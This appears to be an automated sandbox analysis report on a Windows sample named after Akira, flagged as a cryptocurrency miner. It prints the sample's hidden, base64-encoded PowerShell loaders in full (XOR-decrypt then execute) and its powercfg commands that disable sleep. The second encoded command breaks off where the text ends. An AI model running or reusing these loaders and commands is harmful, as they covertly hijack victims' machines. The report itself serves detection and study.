Overview

overview

9

Static

static

3

2026-07-11...ra.exe

windows10-2004-x64

9

2026-07-11...ra.exe

windows11-ltsc_2024-x64

9

Analysis

  • max time kernel
    150s
  • max time network
    147s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    11/07/2026, 02:56

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-07-11_7d977f7c02f2f967f9dabbcbc68b3871_akira.exe
  • Size 4.6MB
  • Sample260711-dfe99sc13v
  • SHA256 3b0beb9596dc10d3f95bfadd81dafc1df57d0d5c75ca381fb6cda8c03013ef18
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
defense_evasiondiscoveryexecutionminerpersistence

Malware Config

Signatures

  • Detects Windows executables referencing non-Windows User-Agents 40 IoCs
  • Detects executables referencing many IR and analysis tools 40 IoCs
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell and hide display window.

    execution
  • Cryptocurrency Miner

    Makes network request to known mining pool URL.

    miner
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

    persistence
  • Drops file in System32 directory 2 IoCs
  • Enumerates processes with tasklist 1 TTPs 18 IoCs
    discovery
  • Drops file in Windows directory 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • NTFS ADS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-11_7d977f7c02f2f967f9dabbcbc68b3871_akira.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-11_7d977f7c02f2f967f9dabbcbc68b3871_akira.exe"
    1⤵
    • NTFS ADS
    • Suspicious use of WriteProcessMemory
    PID:2808
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -EncodedCommand JABmAGoAcwB3AHgAPQAnAGQARAA5AHYASwBTADQAcwBPADEAUQArAGIAUgBjAHMAVQB4ADUAawBlAHkANABuAEMAWABnACsAYgBSAGMAcwBmAGgAVgB2AEsAUwA0AHMATwAxAFEAKwBiAFIAYwBzAFYAQgBFAFgAZgBUADAAMwBNAEYAawB0AFEAegBVAHMAZQAyAFIAZwBJAFQANAA0AFQAMQAwAHQAZgBSAFEAeABVAHgARgBvAE8AegAwAG8ATQBBAFkANwBkAGcAUQA3AFYAUQBGADQATwBBAE0AMwBLADAAYwB1AGUAUgBzAHMAZQBoAGQAQgBLAFMANABzAE8AMQBRACsAYgBSAGMAcwBmAGgAVgB2AEsAUwA0AHMATwBFAFEAVgBIAFQASQBuAFYARAB0AGcASQB6ADAAVwBPADAAVQB1AEgARAA0AGoAVgBUAHQASwBJAGkANABuAE4AQQBNAHUAZQBXAE0AZwBiAGoAaABGAE8AZwBNAG8ARgBrAGMAdABlAFcAOQA2AFUAeABVAGYASgBUADQAVwBPADAAUQAwAFIAeABjAHMAZgBoAFYAdgBLAFMANABzAE8AMQBRACsAYgBSAGMAcwBmAGgANQBzAE8AQQBOAGQATABFAG8AdQBIAEEAdwBsAGYAaABVAFgASQBRAFkANABNAEYAOABVAFEAMgBNAGoAVQB4AEYANwBLAFEAVgBkAEkARgA0ADAAUgB4AGMAcwBmAGgAVgB2AEsAUwA0AHMATwAxAFEAKwBiAFIAYwBzAGYAaAA1AHMATwBBAE4AZABMAEUAbwB1AEgAQQB3AGwAZgBoAFUAWABKAEEAWQBvAFAARQBZAHQASABBAE0AcwBWAFEARQBYAE8AdwBZADMASwBFAFUAVQBSADIAZAA3AFYAZwBFAGYASQBnAFYAYwBMAEEATQA3AGUAUgBBAGgAZgBoAEoAdgBCAFMANABzAE8AMQBRACsAYgBSAGMAcwBmAGgAVgB2AEsAUwA0AHMATwAxAFEAVQBhAFcAOQA0AGIAUQA1AGsASgBEADAAQwBHAFYAUQA3AEgAQgBnAGsAYgBnAEUAYgBJAEQAMAA4AE8ARQBjAFYASABHAE0ANwBVAHgARQBYAE4AeQBzADMASwBFAE0AVgBlAFEAQQA5AFUAdwA1AC8ATwBqADAAbwBOADEAUQA2AGIAegBrAHMAZgBoAFYAdgBLAFMANABzAE8AMQBRACsAYgBSAGMAcwBmAGgAVgBzAE8AUQBWAGMASABsADgAVQBRAHgAZwBtAGIAUwA5AHYATwBBAFIAZABMAEEATQB1AGUAUgBoADUAYgBnAEYAVwBmAHoAMAA0AEYAawBZAHQAYQBRAEIALwBmAGgANQBnAEoAQQBZAG8ATABFAGMAdABlAEcAOABoAFUAdwA1AGsATgB6ADAANABUAHcATQArAGEAaAB3AGoAZQBTAHgAagBmAFMAawByAEsAMABzADcAZQBoAE4AKwBlAGkAeAB2AE8AaQBrAHIASwAwAFEANgBSADIAWgAvAGIAUgBKAE4AZgBTAHMANABNADAAbwB1AFEAdwBBAGkAYgBqAHQAcgBOAEMAbwByAEUAbABzADYAVgB4AGQANwBlAEIARgA3AGYARAA0AEYASABsAHMANQBSADIAWgA2AGUAaABGADMAZgB5AHMANwBLAHcAQQA0AGEAaAA4AC8AYgBnAEoANABKAFMAawBzAFMAZwBJADYASABCAHcAaQBlAEIARgAzAE8AUwBsAGQATAAwAG8ANgBSAEEAOABzAGUAaABkAEIASwBTADQAcwBPADEAUQArAGIAUgBjAHMAZgBoAFYAdgBLAFMANABzAE8ARQBRAFYASABUAEkAbgBWAEQAdABnAEkAegAwAFcATwAwAFUAVQBIAEEAQgA3AGIAUgBGAGcAZgBEADQANABBAGcASQB0AGUAVABvACsAYgBSAEYANABlAGkANABuAE4ARgBrAFcAYQBRAEEALwBiAFEAQQBYAEoAQQBNADMATQBFAG8AdABlAFcATgA3AGYAaABKAGsASgBpAGsAVgBOAHcAQQA1AGEAZwBjAHoAZQB3AEoAcgBlAHkAbwBWAE8AMABjADUAYQBnAGMAOABlAGoAOABlAGUAagAwAHIARwBRAEEANwBlAFIAOAB5AGIAagB0ADQASgB6ADQAQwBQADAAawA2AGEAagA0AGoAZQBpADkAdgBmAGkAZwBvAEwAdwBFAHUAUgBEAEkAagBlAFQAOABlAGYAeQBvAG8ASQB3AEkANwBlAGcAZAA0AGUAQgBKAG4ATwBqADQANwBMAEYAZwA1AGIAVwBaADYAZQBtAFIAawBKAHkAZwBvAEkAMABRADUASABBAE0AeQBlAGoAeAAzAEsAUwBvAHUARgBWAFEAKwBiAFIAYwBzAGYAaABWAHYASwBTADQAcwBPADEAUQArAGIAUgBRADgAVgBXAFYASwBJAGcAUQBDAE4ARgA0AHQAVgB4AGMAOQBWAEcAUgA0AGYAagA0ADQATgBBAE0AVwBkAGcAdwBuAGYAaAA1AGcASgBBAFkAbwBMAEUAYwB0AGUARwA4AGgAVQB3ADUAawBOAHoAMAA0AFQAdwBNADAAUgB4AGMAcwBmAGgAVgB2AEsAUwA0AHMATwAxAFEAKwBiAFIAYwBzAGYAaABGADQAZQBnAFkAMwBLADEAUQA2AGIAegBrAHMAZgBoAFYAdgBLAFMANABzAE8AMQBRACsAWgBtAFkAcwBiAG0AUgBvAGYAagA1AGQASABWAFEAUwBXAFQAawBzAGYAaABWAHYASwBTADQAcwBPADEAUQArAGIAUgBjAHMAZgBoAFYAcwBJAGcASQBvAEYAZwBNACsAYQBoAE0AQQBmAGgAVgB2AEsAUwA0AHMATwAxAFEAKwBiAFIAUgB5AGQARAA5AHYASwBTADQAcwBPAHcANAA9ACcAOwAkAGsAbABsAHEAZQBvAHAAPQAnADcAVgAuAE4AZwBvAHoAMwB3AC4AVgBLACcAOwAkAGoAbwBpAGsAbQB3AHoAdAA9AFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABmAGoAcwB3AHgAKQA7ACQAbABjAHIAYwA9ACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAAoAGYAbwByACgAJABpAD0AMAA7ACQAaQAgAC0AbAB0ACAAJABqAG8AaQBrAG0AdwB6AHQALgBMAGUAbgBnAHQAaAA7ACQAaQArACsAKQB7ACQAagBvAGkAawBtAHcAegB0AFsAJABpAF0ALQBiAHgAbwByAFsAYgB5AHQAZQBdACQAawBsAGwAcQBlAG8AcABbACQAaQAlACQAawBsAGwAcQBlAG8AcAAuAEwAZQBuAGcAdABoAF0AfQApACkAKQA7AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABsAGMAcgBjACkAKQB8AGkAZQB4AA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3356
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" /change standby-timeout-ac 0
        3⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4128
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" /change standby-timeout-dc 0
        3⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2188
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" /hibernate off
        3⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:1848
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" /change monitor-timeout-ac 0
        3⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4140
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" /change monitor-timeout-dc 0
        3⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:5376
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" /setacvalueindex scheme_current 2a737441-1930-4402-8d77-b2bebba308a3 48e6b7a6-50f5-4782-a5d4-53bb8f07e226 0
        3⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:612
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" /setdcvalueindex scheme_current 2a737441-1930-4402-8d77-b2bebba308a3 48e6b7a6-50f5-4782-a5d4-53bb8f07e226 0
        3⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2572
      • C:\Windows\system32\powercfg.exe
        "C:\Windows\system32\powercfg.exe" /setactive scheme_current
        3⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2816
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -EncodedCommand JABqAGMAaQB0AHMAPQAnAEkAegBvAEMASABuAFIAaQBKAEUAUQBuAFgASAA5ADIASQBEAFoAZwBGAFgAOABIAEcAZwBBAE8AWgAyAE0AcABDAEQAVQBHAEcAVQBsAGkATgBGAHcAWQBkADMAOAByAEMAawBBAGoARgBVAHQAMgBEAG0AUQBZAFoAbABVAHYATQBFAEUAQgBCAG4AawBIAEIAawBFAFkAWgBtAE4AegBJAEQARgBoAE4ARQBoADkARABsAGcAZwBYAEgAOABTAEMAaAA5AHAAQgBYAGQAdABCAGcAQQBuAFkAbQA4AFcATQBDAG8AZQBBAEgAaAB5AEMAZwBBAGoAYwBtAHcAMwBQAHkAVgBsAEEAawA1AHQARwBsAHcATgBTADEANABvAEQAVABVAEcAQgBFAGwAOQBDAFYAYwBTAFkAbQA4AE0ATQB5AG8AegBCAG4AawBIAEIAawBFAFkAWgBtAE4AegBJAEQAUQBlAFIAMAA0AEcASABsAHcAZwBZAGgAZwBRAE0AQwBWAGwARwBVADgASABmAEEAYwBOAFMASAA4ADMATQAwAEEASwBIAGsAaAAyAEQAUQBrAEwAYwBuADgAMgBEAFMAVQBvAEEAVwBKAFAAUAAxAHMAagBlAFcAOQB3AEMAQwBWAGgAQwBFAHgAdABDAFYAYwBTAFkAbQB3AG8AQwB4AHcARwBBAFUAOQB4AFAAdwBjAEkAZABuAGMANgBNAHkAbwBWAEYAWAAxAG0ARABWAHMAZwBYADMAcwB3AEMAegBZAGoAUgBVAGsASABKAEUAQQBnAGQAbgBnAGsASQBqAEUAQwBRAG4AZABpAEMAbAA4AGcAYQBWADAAbwBEAEMARgBsAE4AawA4AEcARwBrAFUAbQBjAG0AdwAzAE0AMABFAEIARgBXAEIAMgBEAFUAUQBiAFoAaABnAG8ASQBEAEYAaABCADAAOABHAEgAVgBjAEkAZABoAHcAdABNAHgAOABHAFIAbQBaAG0ARABnAGMATgBTAEgAOABzAEMAagBvADAAQQBrADkAdABBAGsAQQBoAFkAbQB4ADYASQBEAEUAQwBRAG4AZABpAEMAbAA4AGcAYQBWADAAbwBEAEMAUQBqAEcAVQBsAHkARwBrAFkAbQBlAFcAZwAyAFAAUgA4AEcAUgBrAGwAMgBLADAAYwBPAGMAbQB3AG8ARABUAFUARwBHAGsAeAB5AGYAUQBZAFkAZQBVAFkAMgBPAEUAQgBwAFEAMAA5AGIASABVAEEAYQBaAFYANQAwAEkAegBWAGgAUgAwAGwAaQBPAEYAZwBqAFkAbQB4ADYASQBEAGMAMABIAGsAbAAyAGYAVwBRAGIAQQAwAFUAdgBNAHoAbwBHAEEAWABkAGkASABtAFUAYgBhAFcATQB4AEkARABGAGgASgAzAFIAdABBAGsASQBYAGQAbQB0AHoAQwBEAEUAUgBHAFUAeAA5AEQAZwBNAGoAWgBoAHcANQBDAEMAbwBWAFIAVwBJAEgASQBGADAATABjAGsAbwBvAEMAeQBvADgAUQAwAHcASABDAGsAQQBPAFcAbQBNADEARABTAFYAbABRAG0AUgAyAGYAVgA0AG0AYwBtAHcAMABJAGkARQBTAFIAVwBKAE0ASABrAFEAWQBBADMAYwB2AEQARABFAFIAUwAyAFIAMgBIAGsAUQBuAGEAWABzAHgATQBDAFUAOABFAEcAZAA5AEgAbAB3AGcAQQBuADgANwBKAFIAbABsAEgAawBoADkASABWADgAUABjAGwAbwBrAEkAegBWAGgAUgAwAGwAaQBPAEYAZwBqAFkAaABnAEgAQwAwAEUARwBCADAAbAAyAEkARgBRAE4AUwAxADQAbwBNAHgAdwBhAEgAawA1AG0ARABRAGsATABkAGsARQB1AEkARABFADMARwBVADkAaQBLAEYAMABZAGEAVQBvADIATwB6AFUARwBDAEgAUQBHAEIAawBBAGgAZQBYADgAegBDADAAQgBrAEEAbQBSADkAUAAxAGMASQBkAGgAdwB0AE0AeAA4AEcAUgBtAEYAZQBIAGwAdwBoAEEAMgBNADYAQwBDAG8AUwBRAGsAeABpAGQAVQBVAEwAZQBSADAAawBNAHkAVQBvAEMASABkAG0ARABnAGMATABjAGsAcwBxAEIAagBzAFIASABHAFIAOQBmAEEAYwBOAEEAaAAwAGsATQB5AFUAbwBDAEgAZABtAEQAZwBjAE4AUwBIADkAegBNAHkAVQBXAEgAVQA5AHQAUABGAHMAbgBZAG0AeAA2AEkARABFAEMAUQBuAGQAaQBDAGwAOABnAGEAVgAwAG8ARABDAEUAUwBTAG0AUgB6AEsARgA4AFkAYQBXAGMAdgBKAFMAZABwAEcAMAB4AFkARwBsAG8AbQBjAG0AOQAwAEkARABFAEMARgBHAFIAMgBmAFUAVQBZAFkAbQB3AG8AQwBEAG8AUwBRAFUAeABpAGYAVQBvAGoAYQBXAGcAawBEAHkAWQBqAFIAVQB0AGgATwBBAGsATgBTADEAawB6AE0AeABzAFIASABXAGQAeQBmAFYANABZAFgASAB0ADMASQBpAEUAUwBSAFcASgBNAEgAZwBJAGoAWAAzAHMAeQBNAEIAOABHAEIARwBSAHgAZgBGAGMAVwBYAEgAdAB3AEoAUwBRAGUARwBFAHgAeQBHAGwAcwBtAFoAbABVAHYATQB6AFEAQwBHAGsANABIAE8ASABJAGIAQQBuADgAegBDADAAQgBrAEYAVwBGAGcARwBnAFEAWQBaAG0ATgB5AEQAVABVAEYARgBXAFIAYgBEAGsAWQBtAEEAMwBzADYAQwBrAEEANABIAGsAOQB5AE8AMABVAFkAYQBVAFUAdgBJAEIAcwBSAEIAbgB4AHQAQgBsADQAbQBaAGgAdwB2AEMAeAB3AEIARgBXAGQATQBmAFgAWQBnAFgARwBNADEATQB6AFUARwBHAFgAdwBIAGQAVQBRAGcAWgBtAHMAMgBNAHoARQBTAE8AWAB4AGcAQgBrAEEAVABaAEUAawBwAE8AQwBVAGEATQBIAHgAZgBIAG4ASQBSAGQAMgBzAEIATQB6AFEAVwBNAEcASgBnAEMAbgBRAGIAQQBXAHMAWABNADAASQBhAEkAWAB4AGcARgBuAFkAVABaAEIAZwB0AE8AQgBsAGwATQBIADkAUABEAG4ASQBVAEEARwBzAEEAUABCAGsAVwBOAFgAcABnAEMAbQBJAFkAQQBXAGMAUQBPAEMAYwA0AEgASAB4AGoARgBnAE0AVABYADMAOABCAE8AMABKAGgATQBIAHAAZQBDAG4ATQBRAFoARwBzAEsATQAwAEkAVwBLAG4AaABnAEIAbgBvAFQAWgBIAGgAMwBPAEMAUQBLAEkASAB4AGIAQgBuAEkAUQBXAG4AcwBCAFAAeAA4ADAATQBYADkAZwBDAG4AWQBRAFoARwBzAG8ARABVAEkAYQBOAG4AeABnAEcAbgBZAFQAWgBCAFEAQgBPAEIANABhAE0ASAA5AGkASwBIAEkAVgBYADAAawBBAEQAQgBrAFcATwAzAGgAZwBDAG0AVQBUAFoARwB0ADIATwBDAGMASwBOAEgAeABqAEcAbQBJAFQAWABVAGsAQgBPAHkAZABoAE0ASABwAHQASwBIAE0AUABBAFcAcwBGAE8AaQBjAFcAUABFAGsARgBCAFUAbwBUAFoASABnADAATwBDAFEAZQBIAEgAeABmAEYAbgBJAFEAQQAyAE0AQgBNAEIAawBXAE0AWABoAGcAQwBuAFUAVABaAEcAcwByAEQAVQBJAGEASgBYAHgAZwBHAG4ANABUAFoAMwBzAHQATwBCADgAZwBNAEgANQB5AEsASABJAFgAWgAyAHMAQQBPAGkAYwBXAE4AWAA5AGcAQwBsAHMAWABaAEcAYwBQAE8AQwBjAEsATgBIAHgAagBHAG0ASQBUAFgARQBFAEIATwB5AFkANABNAEgAdABaAEMAbgBJAE0AZABHAHMARwBDAEUASQBXAEoAMwBjAEYAQgBRAEEAVABaAEgAcwB4AE8AQwBkAGgASABIAHgAWgBDAG4ASQBRAFoAawBrAEIAUABoAHcAMABNAFgAbABlAEMAbgBZAGcAQQBXAHMAcgBNADAASQBXAFEAWAB4AGcASgBGADQAVABaADIATQB0AE8AQgA0AEsATQBIADkAeQBLAEgASQBXAEEARwBzAEEAUABSAGsAVwBPADMAUQBGAEMAbgA0AFQAWgBHAGMAcwBPAEMAYwBHAEMASAB4AGoAUABBAE0AVABYAEYAMABCAE8AagBVAGUATQBIAGcARgBDAG4ATQBnAEEAVwBzAEYATwB5AGMAVwBHAG4AaABnAEIAbQBFAFQAWgBFADUAegBPAEMAVQBlAE0ASAB4AGIARABuAEkAUQBhAFcATQBCAFAAUwBRAFcATQBYAGgAZQBDAG4AawBiAEEAVwBzAFUARABVAEkAYQBRAG4AeABnAEYAbgBZAFQAWgAzAGQAdwBPAEIAawBrAE0ASAA4AEgAQQBuAEkAWABaAGsAawBBAFAAagBjAFcATgBIAHQAZwBDAG0AYwBYAFoARwBoAHkATwBDAGMAMABIAEgAeABqAEYAbQBJAFQAVwBrAGsAQgBPAHkAWQBTAE0ASABnAEgASwBIAE0AVwBXAG0AcwBFAE0AMABJAFcASABuAHgAZwBCAG4AMABUAFoASABzAHQATwBDAFEAVwBJAEgAeABZAFAASABJAFEAWgBXADgAQgBQADAATQBXAE0ARQBoAGUAQwBuAGsAVwBaAEcAcwBVAFAAQwBjAGEASwBIAHgAZwBHAG4ANABUAFoAbQBOAHcATwBCAGcAQwBNAEgAOQBnAEkASABJAFcAWgBrAGsAQQBDAEIAawBXAE4ASAA5AGcAQwBtAEkAbQBBAFcAYwBWAE8AQwBjAHoAUgBuAHgAagBCAG0ASQBUAFgAVwA4AEIATwB3AGcAUwBNAEgAcwBFAEMAbgBNAFYAZABHAHMARgBPAHkAYwBXAEoASABoAGcAQwBnAE0AVABaAEgAOABOAE8AQwBRAGUAUQBYAHgAWQBlAFgASQBRAEEAUgB3AEIATwBrAEUAMABNAFgANABGAEMAbgBnAFAAZABHAHMAUQBNADAASQBhAEsAMwB4AGcARgBrAFkAVABaADAAawBCAE8AQgA4AGcATQBIADkAagBHAG4ASQBVAFgAVwBzAEEATwAwAEkAVwBOAEgAdABnAEMAbQBvAFgAWgBHAGMATwBPAEMAYwB6AFEAbgB4AGkASABnAE0AVABhAFcAYwBCAE8AeQBkAGgATQBIAGQAaQBLAEgASQBNAGQARwBzAEwATwBpAGMAVwBKADMAYwBGAEIAZwBFAFQAWgBFAFUATgBPAEMAUQBDAE0ASAB4AGUATgBIAEkAUgBkAG0ATQBCAFAAUwBjAFcATQBXAEEARgBDAG4AWQBSAFoARwBzAE4ARABVAEkAYQBCADMAeABnAEYAawBZAFQAWgAyAE0AQgBPAEIAawBlAE0ASAA5AFkATwBIAEkAYgBXAG0AcwBBAFAAQwBjAFcATwBrADQARgBDAG0AQQBUAFoARwBjAEUATwBDAGMARwBQAEgAeABqAEcAbAA0AFQAWABXAGMAQgBPAHkAbwAwAE0ASAB0AHcAQwBuAEkAbQBBAFcAcwBHAFAAQwBjAFcAUABYAHgAZwBCAG4AdwBUAFoARQBVAHQATwBDAFUAZQBRAFgAeABZAGQAWABJAFEAWgAzAHMAQgBQAEUASQBXAE0AWABoAGUAQwBuAFkAbQBBAFcAcwBXAE0AMABJAFoAQwBIAHgAZwBLAEUAbwBUAFoAMwA4AEIATwBCAGwAaABNAEgAOQB3AEMAbgBJAFcAVwBtAHMAQgBEAEIAawBXAE4ARQA4AEYAQwBsAGsAWABaAEcAYwBFAE8AQwBjADQASQBIAHgAagBHAG4ASQBUAFgAWABjAEIATwB6AFUAMABNAEgAdABZAEsASABNAFIAWgBHAHMARQBPAHkAYwBXAEoAbgBoAGcAQgBuAGcAVABaAEgAdAB3AE8AQwBVAGEASQBIAHgAZQBCAG4ASQBRAFoAVQBVAEIAUABFAEEAMABNAFcATgB3AEMAbgBjAFUAWgBHAHMAWgBNADAASQBhAEkAbgB4AGcATAAwAGMAVABaADIAcwBSAE8AQwBZAFcATQBIADkAaQBkAFgASQBYAFoAawBrAEEAQwB4AGsAVwBPAG4AaABnAEMAbQBJAFgAWgBHAGMAQQBPAEMAYwBLAEEASAB4AGoASABsADQAVABXAG4AOABCAE8AMABBAGsATQBIAFEARgBDAG4ATQBVAFoARwBzAEYARABVAEkAVwBKAFUAawBGAEIAbgBNAFQAWgBIAHMAWgBPAEMAUQAwAE0ASAB4AFoASwBIAEkAUQBaAGwAawBCAFAARQBBADAATQBYAGwAZwBDAG4AYwBWAFoARwBzAE4AUABDAGMAYQBQAG4AeABnAEcAbgA0AFQAWgBtAGMAUgBPAEIAawBLAE0ASAA5AHoASQBIAEkAVQBBADAAawBBAEQAUwBjAFcATgBYADkAZwBDAGwAbwBUAFoARwBjAFAATwBDAGMARwBPAEgAeABqAFAAQQBNAFQAVwBsAGsAQgBPAHkAYwBHAE0ASABsAHQASwBIAE0AUABBAFcAcwBFAE0AMABJAFcASQBFAGsARgBCAFUAbwBUAFoARQBrAE4ATwBDAGQAbABIAEgAeABZAEMAbgBJAFEAUwAzADgAQgBQAGkAbwAwAE0ARwBCAGcAQwBuAFkAVwBaAEcAcwBWAFAAQwBjAGEAUQBIAHgAZwBHAGsAbwBUAFoAMwBzAEIATwBCAHcARwBNAEgANQB5AEEAbgBJAFUAVwBtAHMAQQBPAGkAYwBXAE4AWABRAEYAQwBtAE0AWABaAEcAZAB3AE8AQwBjAEsATQBIAHgAZwBmAFYANABUAFcAaABnAEIATwB6AFEARwBNAEgAaABlAEMAbgBNAFgAVwBtAHMATABNAEUASQBXAEUAMwBoAGcAQgBuAGMAVABaAEgAOABGAE8AQwBRAGEASABIAHgAZQBPAEgASQBRAFoAQgB3AEIAUAB5AFEAVwBNAFgAcwBGAEMAbgBnAFEAWgBHAHMAVgBPAEMAYwBhAEoAWAB4AGcASgBGADQAVABaAG0AcwBCAE8AQgBrAEMATQBIADkAZQBJAEgASQBWAFgAMABrAEEAUABUAGMAVwBOAEcASgB3AEMAbABFAG0AQQBXAGMATQBPAEMAYwBLAEcASAB4AGoAQQBtAEkAVABYAFcATQBCAE8AeABrAEcATQBIAGwAaQBLAEgATQBWAFcAbQBzAEcAUABTAGMAVwBHAGsAawBGAEIAZwBNAFQAWgBIAHMANQBPAEMAUQBhAEgASAB4AGUAQgBuAEkAUQBBAEgAcwBCAFAAeAB3ADAATQBYAHAAdwBDAG4AWQBRAFoARwBzAHEARABVAEkAYQBOAFgAeABnAEYAbABvAFQAWgAyAE0AUgBPAEIAawBhAE0ASAA5AFkATwBIAEkAWABYADAAawBBAFAAQgBrAFcATgAzAHAAZwBDAG0AUQBZAEEAVwBjAEgATwBDAGMASwBKAEgAeABqAEIAZwBNAFQAWABVAFUAQgBPAHcAZwBTAE0ASAB0AGoAQwBuAE0AUQBaAEcAcwBGAE0AMABJAFcARQAwAGsARgBCAG0ATQBUAFoARQBsAHcATwBDAFEAZQBJAEgAeABaAEoASABJAFEAVwBuAHMAQgBQAHgAdwAwAE0AWABwAGcAQwBuAGMAUgBaAEcAcwBwAEQAVQBJAGEAQQBIAHgAZwBGAG4ASQBUAFoAMABrAEIATwBCADkAbABNAEgAOQB5AEsASABJAFgAWABXAHMAQQBQAEIAawBXAE4AWAB0AGcAQwBsAHMAVABaAEcAYwBGAE8AQwBjAEsARwBIAHgAagBBAG0ASQBUAFcAbQBjAEIATwB5AFYAcABNAEgAaABpAEsASABNAFUAVwBtAHMARgBPAGkAYwBXAEoASAB4AGcAQgBrAFUAVABaAEgAZwAwAE8AQwBRAEcASQBIAHgAZQBPAEgASQBRAFMAMgA4AEIAUABCADQAVwBNAFcATgB3AEMAbgBZAGcAQQBXAHMAVQBQAEMAYwBWAFEAbgB4AGcAQQBrAG8AVABaADIAcwB0AE8AQgA5AGwATQBIADkAWQBPAEgASQBYAGEAVQBrAEEATwBFAEkAVwBOADMAOQBnAEMAbABvAFQAWgBHAGMATwBPAEMAYwBHAEgASAB4AGoAUABBAE0AVABXAG0AYwBCAE8AMABBADAATQBIAHAAaQBLAEgATQBWAGQARwBzAEUATwB5AGMAVwBKAFUAawBGAEIAbQBJAFQAWgBFAFUAdABPAEMAUQA4AFEAWAB4AGYAQQBuAEkAUQBaAEgAcwBCAE0AQgA0AFcATQBYAHgAZQBDAG4AYwBXAFoARwBzAFgATwBDAGMAYQBLADMAeABnAEcAbQBZAFQAWgAyAGMAUgBPAEIAawBnAE0ASAA5AFkASwBIAEkAYgBXAG0AcwBBAEMAMABJAFcATgBFAGsARgBDAGwAdwBUAFoARwBjAEEATwBDAGMARwBCAEgAeABqAEcAbgBJAFQAWAAzAHMAQgBPADAAQQAwAE0ASABnAEcASwBIAE0AUQBaAEcAcwBFAE8AaQBjAFcARwBFAGsARgBCAG0ATQBUAFoASABnADAATwBDAFUAYQBJAEgAeABZAFAASABJAFEAWABVAEUAQgBQADAASQBXAE0AWABoAGUAQwBuAGMAagBBAFcAcwBpAE0AMABJAGEASQBIAHgAZwBMAHcAQQBUAFoAbgBzAEIATwBCADQAUwBNAEgAOQBpAGQAWABJAGIAWABXAHMAQQBPAEIAawBXAE8AMwA5AGcAQwBtAFUAWABaAEcAZAB6AE8AQwBjAEcATgBIAHgAagBBAG4ASQBUAFcAbABrAEIATwB5AGMAOABNAEgAUQBHAEsASABNAGoAZABHAHMARgBDAEUASQBXAEoASABoAGcAQgBsAEUAVABaAEUAawBSAE8AQwBRAGUASQBIAHgAWQBkAFgASQBRAFoASABzAEIATQBDAGMAVwBNAFgAOQBlAEMAbgBnAGgAQQBXAHMAVABQAEMAYwBhAEIAMwB4AGcARwBnAE0AVABaAG4AcwBSAE8AQgA4AGcATQBIADkAdABBAG4ASQBVAFoARwBzAEEARABTAGMAVwBPAG4AUQBGAEMAbQBjAFkAQQBXAGMARwBPAEMAYwBHAE4ASAB4AGoASwBGADQAVABYAEUAVQBCAE8AeABrAFcATQBIAGgAWgBDAG4ATQBQAEEAVwBzAEgAQwBrAEkAVwBKADMAaABnAEIAVQBvAFQAWgBFAFUATgBPAEMAZABoAFEAWAB4AGUATgBIAEkAUQBTADMAOABCAFAAeQBVADAATQBYAGsARgBDAG4AWQBVAFoARwBzAE4ATQAwAEkAYQBOAFgAeABnAEoARwBJAFQAWgAzADkAdwBPAEIAdwBHAE0ASAA5AGUARwBuAEkAVQBkAEcAcwBBAFAAUwBjAFcATwAzAFEARgBDAG0AYwBYAFoARwBjAHIATwBDAGMARwBRAFgAeABpAEgAZwBNAFQAWgBYAHMAQgBPAHkAUQBXAE0ASABoAGUAQwBuAE0AUABBAFcAcwBGAE8AeQBjAFcARwBuA